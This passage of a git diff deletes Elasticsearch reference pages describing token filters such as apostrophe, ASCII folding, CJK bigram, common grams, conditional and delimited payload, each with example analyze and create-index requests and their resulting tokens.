-Documents each parameter for the token filter.
-If the filter does not have any configurable parameters, skip this section.
-
-Guidelines
-***************************************
-* Use a definition list.
-* End each definition with a period.
-* Include whether the parameter is Optional or Required and the data type.
-* Include default values as the last sentence of the first paragraph.
-* Include a range of valid values, if applicable.
-* If the parameter requires a specific delimiter for multiple values, say so.
-* If the parameter supports wildcards, ditto.
-* For large or nested objects, consider linking to a separate definition list.
-***************************************
-////
-
-`foo`::
-(Optional, Boolean)
-If `true`, do a cool thing.
-Defaults to `false`.
-
-`baz`::
-(Optional, string)
-Path to another cool thing.
-
-[[analysis-sample-tokenfilter-customize]]
-==== Customize
-////
-Example of a custom token filter with configurable parameters.
-If the filter does not have any configurable parameters, skip this section.
-
-Guidelines
-***************************************
-* If able, use a different tokenizer than used in "Add to an analyzer."
-* Ensure // TEST[skip:...] comments are removed.
-***************************************
-////
-
-To customize the `sample` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `sample` filter with
-`foo` set to `true`:
-
-[source,console]
-----
-PUT sample_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_analyzer": {
-          "tokenizer": "whitespace",
-          "filter": [ "my_custom_sample_token_filter" ]
-        }
-      },
-      "filter": {
-        "my_custom_sample_token_filter": {
-          "type": "sample",
-          "foo": true
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: REMOVE THIS COMMENT.]
diff --git a/docs/reference/analysis/tokenfilters/apostrophe-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/apostrophe-tokenfilter.asciidoc
deleted file mode 100644
index 49c75e47af0..00000000000
--- a/docs/reference/analysis/tokenfilters/apostrophe-tokenfilter.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-[[analysis-apostrophe-tokenfilter]]
-=== Apostrophe token filter
-++++
-<titleabbrev>Apostrophe</titleabbrev>
-++++
-
-Strips all characters after an apostrophe, including the apostrophe itself.
-
-This filter is included in {es}'s built-in <<turkish-analyzer,Turkish language
-analyzer>>. It uses Lucene's
-{lucene-analysis-docs}/tr/ApostropheFilter.html[ApostropheFilter], which was
-built for the Turkish language.
-
-
-[[analysis-apostrophe-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request demonstrates how the
-apostrophe token filter works.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["apostrophe"],
-  "text" : "Istanbul'a veya Istanbul'dan"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ Istanbul, veya, Istanbul ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "Istanbul",
-      "start_offset" : 0,
-      "end_offset" : 10,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "veya",
-      "start_offset" : 11,
-      "end_offset" : 15,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "Istanbul",
-      "start_offset" : 16,
-      "end_offset" : 28,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-apostrophe-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-apostrophe token filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /apostrophe_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_apostrophe": {
-          "tokenizer": "standard",
-          "filter": [ "apostrophe" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/asciifolding-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/asciifolding-tokenfilter.asciidoc
deleted file mode 100644
index 6b836f26dad..00000000000
--- a/docs/reference/analysis/tokenfilters/asciifolding-tokenfilter.asciidoc
+++ /dev/null
@@ -1,138 +0,0 @@
-[[analysis-asciifolding-tokenfilter]]
-=== ASCII folding token filter
-++++
-<titleabbrev>ASCII folding</titleabbrev>
-++++
-
-Converts alphabetic, numeric, and symbolic characters that are not in the Basic
-Latin Unicode block (first 127 ASCII characters) to their ASCII equivalent, if
-one exists. For example, the filter changes `à` to `a`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/ASCIIFoldingFilter.html[ASCIIFoldingFilter].
-
-[[analysis-asciifolding-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `asciifolding`
-filter to drop the diacritical marks in `açaí à la carte`:
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["asciifolding"],
-  "text" : "açaí à la carte"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ acai, a, la, carte ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "acai",
-      "start_offset" : 0,
-      "end_offset" : 4,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "a",
-      "start_offset" : 5,
-      "end_offset" : 6,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "la",
-      "start_offset" : 7,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "carte",
-      "start_offset" : 10,
-      "end_offset" : 15,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-asciifolding-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`asciifolding` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /asciifold_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_asciifolding": {
-          "tokenizer": "standard",
-          "filter": [ "asciifolding" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-asciifolding-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`preserve_original`::
-(Optional, Boolean)
-If `true`, emit both original tokens and folded tokens.
-Defaults to `false`.
-
-[[analysis-asciifolding-tokenfilter-customize]]
-==== Customize
-
-To customize the `asciifolding` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `asciifolding` filter with
-`preserve_original` set to true:
-
-[source,console]
---------------------------------------------------
-PUT /asciifold_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_asciifolding": {
-          "tokenizer": "standard",
-          "filter": [ "my_ascii_folding" ]
-        }
-      },
-      "filter": {
-        "my_ascii_folding": {
-          "type": "asciifolding",
-          "preserve_original": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc
deleted file mode 100644
index 4fd7164e82d..00000000000
--- a/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc
+++ /dev/null
@@ -1,201 +0,0 @@
-[[analysis-cjk-bigram-tokenfilter]]
-=== CJK bigram token filter
-++++
-<titleabbrev>CJK bigram</titleabbrev>
-++++
-
-Forms {wikipedia}/Bigram[bigrams] out of CJK (Chinese,
-Japanese, and Korean) tokens.
-
-This filter is included in {es}'s built-in <<cjk-analyzer,CJK language
-analyzer>>. It uses Lucene's
-{lucene-analysis-docs}/cjk/CJKBigramFilter.html[CJKBigramFilter].
-
-
-[[analysis-cjk-bigram-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request demonstrates how the
-CJK bigram token filter works.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["cjk_bigram"],
-  "text" : "東京都は、日本の首都であり"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ 東京, 京都, 都は, 日本, 本の, の首, 首都, 都で, であ, あり ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "東京",
-      "start_offset" : 0,
-      "end_offset" : 2,
-      "type" : "<DOUBLE>",
-      "position" : 0
-    },
-    {
-      "token" : "京都",
-      "start_offset" : 1,
-      "end_offset" : 3,
-      "type" : "<DOUBLE>",
-      "position" : 1
-    },
-    {
-      "token" : "都は",
-      "start_offset" : 2,
-      "end_offset" : 4,
-      "type" : "<DOUBLE>",
-      "position" : 2
-    },
-    {
-      "token" : "日本",
-      "start_offset" : 5,
-      "end_offset" : 7,
-      "type" : "<DOUBLE>",
-      "position" : 3
-    },
-    {
-      "token" : "本の",
-      "start_offset" : 6,
-      "end_offset" : 8,
-      "type" : "<DOUBLE>",
-      "position" : 4
-    },
-    {
-      "token" : "の首",
-      "start_offset" : 7,
-      "end_offset" : 9,
-      "type" : "<DOUBLE>",
-      "position" : 5
-    },
-    {
-      "token" : "首都",
-      "start_offset" : 8,
-      "end_offset" : 10,
-      "type" : "<DOUBLE>",
-      "position" : 6
-    },
-    {
-      "token" : "都で",
-      "start_offset" : 9,
-      "end_offset" : 11,
-      "type" : "<DOUBLE>",
-      "position" : 7
-    },
-    {
-      "token" : "であ",
-      "start_offset" : 10,
-      "end_offset" : 12,
-      "type" : "<DOUBLE>",
-      "position" : 8
-    },
-    {
-      "token" : "あり",
-      "start_offset" : 11,
-      "end_offset" : 13,
-      "type" : "<DOUBLE>",
-      "position" : 9
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-cjk-bigram-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-CJK bigram token filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /cjk_bigram_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_cjk_bigram": {
-          "tokenizer": "standard",
-          "filter": [ "cjk_bigram" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[analysis-cjk-bigram-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`ignored_scripts`::
-+
---
-(Optional, array of character scripts)
-Array of character scripts for which to disable bigrams.
-Possible values:
-
-* `han`
-* `hangul`
-* `hiragana`
-* `katakana`
-
-All non-CJK input is passed through unmodified.
---
-
-`output_unigrams`
-(Optional, Boolean)
-If `true`, emit tokens in both bigram and
-{wikipedia}/N-gram[unigram] form. If `false`, a CJK character
-is output in unigram form when it has no adjacent characters. Defaults to
-`false`.
-
-[[analysis-cjk-bigram-tokenfilter-customize]]
-==== Customize
-
-To customize the CJK bigram token filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-[source,console]
---------------------------------------------------
-PUT /cjk_bigram_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "han_bigrams": {
-          "tokenizer": "standard",
-          "filter": [ "han_bigrams_filter" ]
-        }
-      },
-      "filter": {
-        "han_bigrams_filter": {
-          "type": "cjk_bigram",
-          "ignored_scripts": [
-            "hangul",
-            "hiragana",
-            "katakana"
-          ],
-          "output_unigrams": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/cjk-width-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/cjk-width-tokenfilter.asciidoc
deleted file mode 100644
index e055d1783d4..00000000000
--- a/docs/reference/analysis/tokenfilters/cjk-width-tokenfilter.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
-[[analysis-cjk-width-tokenfilter]]
-=== CJK width token filter
-++++
-<titleabbrev>CJK width</titleabbrev>
-++++
-
-Normalizes width differences in CJK (Chinese, Japanese, and Korean) characters
-as follows:
-
-* Folds full-width ASCII character variants into the equivalent basic Latin
-characters
-* Folds half-width Katakana character variants into the equivalent Kana
-characters
-
-This filter is included in {es}'s built-in <<cjk-analyzer,CJK language
-analyzer>>. It uses Lucene's
-{lucene-analysis-docs}/cjk/CJKWidthFilter.html[CJKWidthFilter].
-
-NOTE: This token filter can be viewed as a subset of NFKC/NFKD Unicode
-normalization. See the
-{plugins}/analysis-icu-normalization-charfilter.html[`analysis-icu` plugin] for
-full normalization support.
-
-[[analysis-cjk-width-tokenfilter-analyze-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["cjk_width"],
-  "text" : "ｼｰｻｲﾄﾞﾗｲﾅｰ"
-}
---------------------------------------------------
-
-The filter produces the following token:
-
-[source,text]
---------------------------------------------------
-シーサイドライナー
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "シーサイドライナー",
-      "start_offset" : 0,
-      "end_offset" : 10,
-      "type" : "<KATAKANA>",
-      "position" : 0
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-cjk-width-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-CJK width token filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /cjk_width_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_cjk_width": {
-          "tokenizer": "standard",
-          "filter": [ "cjk_width" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/classic-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/classic-tokenfilter.asciidoc
deleted file mode 100644
index 8bab797a750..00000000000
--- a/docs/reference/analysis/tokenfilters/classic-tokenfilter.asciidoc
+++ /dev/null
@@ -1,147 +0,0 @@
-[[analysis-classic-tokenfilter]]
-=== Classic token filter
-++++
-<titleabbrev>Classic</titleabbrev>
-++++
-
-Performs optional post-processing of terms generated by the
-<<analysis-classic-tokenizer,`classic` tokenizer>>.
-
-This filter removes the english possessive (`'s`) from the end of words and
-removes dots from acronyms. It uses Lucene's
-{lucene-analysis-docs}/standard/ClassicFilter.html[ClassicFilter].
-
-[[analysis-classic-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request demonstrates how the
-classic token filter works.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "classic",
-  "filter" : ["classic"],
-  "text" : "The 2 Q.U.I.C.K. Brown-Foxes jumped over the lazy dog's bone."
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ The, 2, QUICK, Brown, Foxes, jumped, over, the, lazy, dog, bone ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "The",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "2",
-      "start_offset" : 4,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "QUICK",
-      "start_offset" : 6,
-      "end_offset" : 16,
-      "type" : "<ACRONYM>",
-      "position" : 2
-    },
-    {
-      "token" : "Brown",
-      "start_offset" : 17,
-      "end_offset" : 22,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    },
-    {
-      "token" : "Foxes",
-      "start_offset" : 23,
-      "end_offset" : 28,
-      "type" : "<ALPHANUM>",
-      "position" : 4
-    },
-    {
-      "token" : "jumped",
-      "start_offset" : 29,
-      "end_offset" : 35,
-      "type" : "<ALPHANUM>",
-      "position" : 5
-    },
-    {
-      "token" : "over",
-      "start_offset" : 36,
-      "end_offset" : 40,
-      "type" : "<ALPHANUM>",
-      "position" : 6
-    },
-    {
-      "token" : "the",
-      "start_offset" : 41,
-      "end_offset" : 44,
-      "type" : "<ALPHANUM>",
-      "position" : 7
-    },
-    {
-      "token" : "lazy",
-      "start_offset" : 45,
-      "end_offset" : 49,
-      "type" : "<ALPHANUM>",
-      "position" : 8
-    },
-    {
-      "token" : "dog",
-      "start_offset" : 50,
-      "end_offset" : 55,
-      "type" : "<APOSTROPHE>",
-      "position" : 9
-    },
-    {
-      "token" : "bone",
-      "start_offset" : 56,
-      "end_offset" : 60,
-      "type" : "<ALPHANUM>",
-      "position" : 10
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-classic-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-classic token filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /classic_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "classic_analyzer": {
-          "tokenizer": "classic",
-          "filter": [ "classic" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
diff --git a/docs/reference/analysis/tokenfilters/common-grams-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/common-grams-tokenfilter.asciidoc
deleted file mode 100644
index 4913df9290c..00000000000
--- a/docs/reference/analysis/tokenfilters/common-grams-tokenfilter.asciidoc
+++ /dev/null
@@ -1,228 +0,0 @@
-[[analysis-common-grams-tokenfilter]]
-=== Common grams token filter
-++++
-<titleabbrev>Common grams</titleabbrev>
-++++
-
-Generates {wikipedia}/Bigram[bigrams] for a specified set of
-common words.
-
-For example, you can specify `is` and `the` as common words. This filter then
-converts the tokens `[the, quick, fox, is, brown]` to `[the, the_quick, quick,
-fox, fox_is, is, is_brown, brown]`.
-
-You can use the `common_grams` filter in place of the
-<<analysis-stop-tokenfilter,stop token filter>> when you don't want to
-completely ignore common words.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/commongrams/CommonGramsFilter.html[CommonGramsFilter].
-
-[[analysis-common-grams-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request creates bigrams for `is`
-and `the`:
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "whitespace",
-  "filter" : [
-    {
-      "type": "common_grams",
-      "common_words": ["is", "the"]
-    }
-  ],
-  "text" : "the quick fox is brown"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ the, the_quick, quick, fox, fox_is, is, is_brown, brown ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "the",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "the_quick",
-      "start_offset" : 0,
-      "end_offset" : 9,
-      "type" : "gram",
-      "position" : 0,
-      "positionLength" : 2
-    },
-    {
-      "token" : "quick",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "fox",
-      "start_offset" : 10,
-      "end_offset" : 13,
-      "type" : "word",
-      "position" : 2
-    },
-    {
-      "token" : "fox_is",
-      "start_offset" : 10,
-      "end_offset" : 16,
-      "type" : "gram",
-      "position" : 2,
-      "positionLength" : 2
-    },
-    {
-      "token" : "is",
-      "start_offset" : 14,
-      "end_offset" : 16,
-      "type" : "word",
-      "position" : 3
-    },
-    {
-      "token" : "is_brown",
-      "start_offset" : 14,
-      "end_offset" : 22,
-      "type" : "gram",
-      "position" : 3,
-      "positionLength" : 2
-    },
-    {
-      "token" : "brown",
-      "start_offset" : 17,
-      "end_offset" : 22,
-      "type" : "word",
-      "position" : 4
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-common-grams-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`common_grams` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>:
-
-[source,console]
---------------------------------------------------
-PUT /common_grams_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "index_grams": {
-          "tokenizer": "whitespace",
-          "filter": [ "common_grams" ]
-        }
-      },
-      "filter": {
-        "common_grams": {
-          "type": "common_grams",
-          "common_words": [ "a", "is", "the" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-common-grams-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`common_words`::
-+
---
-(Required+++*+++, array of strings)
-A list of tokens. The filter generates bigrams for these tokens.
-
-Either this or the `common_words_path` parameter is required.
---
-
-`common_words_path`::
-+
---
-(Required+++*+++, string)
-Path to a file containing a list of tokens. The filter generates bigrams for
-these tokens.
-
-This path must be absolute or relative to the `config` location. The file must
-be UTF-8 encoded. Each token in the file must be separated by a line break.
-
-Either this or the `common_words` parameter is required.
---
-
-`ignore_case`::
-(Optional, Boolean)
-If `true`, matches for common words matching are case-insensitive.
-Defaults to `false`.
-
-`query_mode`::
-+
---
-(Optional, Boolean)
-If `true`, the filter excludes the following tokens from the output:
-
-* Unigrams for common words
-* Unigrams for terms followed by common words
-
-Defaults to `false`. We recommend enabling this parameter for
-<<search-analyzer,search analyzers>>.
-
-For example, you can enable this parameter and specify `is` and `the` as
-common words. This filter converts the tokens `[the, quick, fox, is, brown]` to
-`[the_quick, quick, fox_is, is_brown,]`.
---
-
-[[analysis-common-grams-tokenfilter-customize]]
-==== Customize
-
-To customize the `common_grams` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `common_grams` filter with
-`ignore_case` and `query_mode` set to `true`:
-
-[source,console]
---------------------------------------------------
-PUT /common_grams_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "index_grams": {
-          "tokenizer": "whitespace",
-          "filter": [ "common_grams_query" ]
-        }
-      },
-      "filter": {
-        "common_grams_query": {
-          "type": "common_grams",
-          "common_words": [ "a", "is", "the" ],
-          "ignore_case": true,
-          "query_mode": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc
deleted file mode 100644
index a33a41e85a8..00000000000
--- a/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc
+++ /dev/null
@@ -1,148 +0,0 @@
-[[analysis-condition-tokenfilter]]
-=== Conditional token filter
-++++
-<titleabbrev>Conditional</titleabbrev>
-++++
-
-Applies a set of token filters to tokens that match conditions in a provided
-predicate script.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/ConditionalTokenFilter.html[ConditionalTokenFilter].
-
-[[analysis-condition-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `condition`
-filter to match tokens with fewer than 5 characters in `THE QUICK BROWN FOX`.
-It then applies the <<analysis-lowercase-tokenfilter,`lowercase`>> filter to
-those matching tokens, converting them to lowercase.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [
-    {
-      "type": "condition",
-      "filter": [ "lowercase" ],
-      "script": {
-        "source": "token.getTerm().length() < 5"
-      }
-    }
-  ],
-  "text": "THE QUICK BROWN FOX"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ the, QUICK, BROWN, fox ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "the",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "QUICK",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "BROWN",
-      "start_offset" : 10,
-      "end_offset" : 15,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "fox",
-      "start_offset" : 16,
-      "end_offset" : 19,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-condition-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`filter`::
-+
---
-(Required, array of token filters)
-Array of token filters. If a token matches the predicate script in the `script`
-parameter, these filters are applied to the token in the order provided.
-
-These filters can include custom token filters defined in the index mapping.
---
-
-`script`::
-+
---
-(Required, <<modules-scripting-using,script object>>)
-Predicate script used to apply token filters. If a token
-matches this script, the filters in the `filter` parameter are applied to the
-token.
-
-For valid parameters, see <<_script_parameters>>. Only inline scripts are
-supported. Painless scripts are executed in the
-{painless}/painless-analysis-predicate-context.html[analysis predicate context]
-and require a `token` property.
---
-
-[[analysis-condition-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `condition` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following <<indices-create-index,create index API>> request
-uses a custom `condition` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>. The custom `condition` filter
-matches the first token in a stream. It then reverses that matching token using
-the <<analysis-reverse-tokenfilter,`reverse`>> filter.
-
-[source,console]
---------------------------------------------------
-PUT /palindrome_list
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_reverse_first_token": {
-          "tokenizer": "whitespace",
-          "filter": [ "reverse_first_token" ]
-        }
-      },
-      "filter": {
-        "reverse_first_token": {
-          "type": "condition",
-          "filter": [ "reverse" ],
-          "script": {
-            "source": "token.getPosition() === 0"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/decimal-digit-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/decimal-digit-tokenfilter.asciidoc
deleted file mode 100644
index 6436bad8ac3..00000000000
--- a/docs/reference/analysis/tokenfilters/decimal-digit-tokenfilter.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[[analysis-decimal-digit-tokenfilter]]
-=== Decimal digit token filter
-++++
-<titleabbrev>Decimal digit</titleabbrev>
-++++
-
-Converts all digits in the Unicode `Decimal_Number` General Category to `0-9`.
-For example, the filter changes the Bengali numeral `৩` to `3`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/core/DecimalDigitFilter.html[DecimalDigitFilter].
-
-[[analysis-decimal-digit-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `decimal_digit`
-filter to convert Devanagari numerals to `0-9`:
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "whitespace",
-  "filter" : ["decimal_digit"],
-  "text" : "१-one two-२ ३"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ 1-one, two-2, 3]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "1-one",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "two-2",
-      "start_offset" : 6,
-      "end_offset" : 11,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "3",
-      "start_offset" : 12,
-      "end_offset" : 13,
-      "type" : "word",
-      "position" : 2
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-decimal-digit-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`decimal_digit` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT /decimal_digit_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_decimal_digit": {
-          "tokenizer": "whitespace",
-          "filter": [ "decimal_digit" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc
deleted file mode 100644
index 0bcc1ca12c3..00000000000
--- a/docs/reference/analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc
+++ /dev/null
@@ -1,324 +0,0 @@
-[[analysis-delimited-payload-tokenfilter]]
-=== Delimited payload token filter
-++++
-<titleabbrev>Delimited payload</titleabbrev>
-++++
-
-[WARNING]
-====
-The older name `delimited_payload_filter` is deprecated and should not be used
-with new indices. Use `delimited_payload` instead.
-====
-
-Separates a token stream into tokens and payloads based on a specified
-delimiter.
-
-For example, you can use the `delimited_payload` filter with a `|` delimiter to
-split `the|1 quick|2 fox|3` into the tokens `the`, `quick`, and `fox`
-with respective payloads of `1`, `2`, and `3`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/payloads/DelimitedPayloadTokenFilter.html[DelimitedPayloadTokenFilter].
-
-[NOTE]
-.Payloads
-====
-A payload is user-defined binary data associated with a token position and
-stored as base64-encoded bytes.
-
-{es} does not store token payloads by default. To store payloads, you must:
-
-* Set the <<term-vector,`term_vector`>> mapping parameter to
-  `with_positions_payloads` or `with_positions_offsets_payloads` for any field
-  storing payloads.
-* Use an index analyzer that includes the `delimited_payload` filter
-
-You can view stored payloads using the <<docs-termvectors,term vectors API>>.
-====
-
-[[analysis-delimited-payload-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`delimited_payload` filter with the default `|` delimiter to split
-`the|0 brown|10 fox|5 is|0 quick|10` into tokens and payloads.
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "whitespace",
-  "filter": ["delimited_payload"],
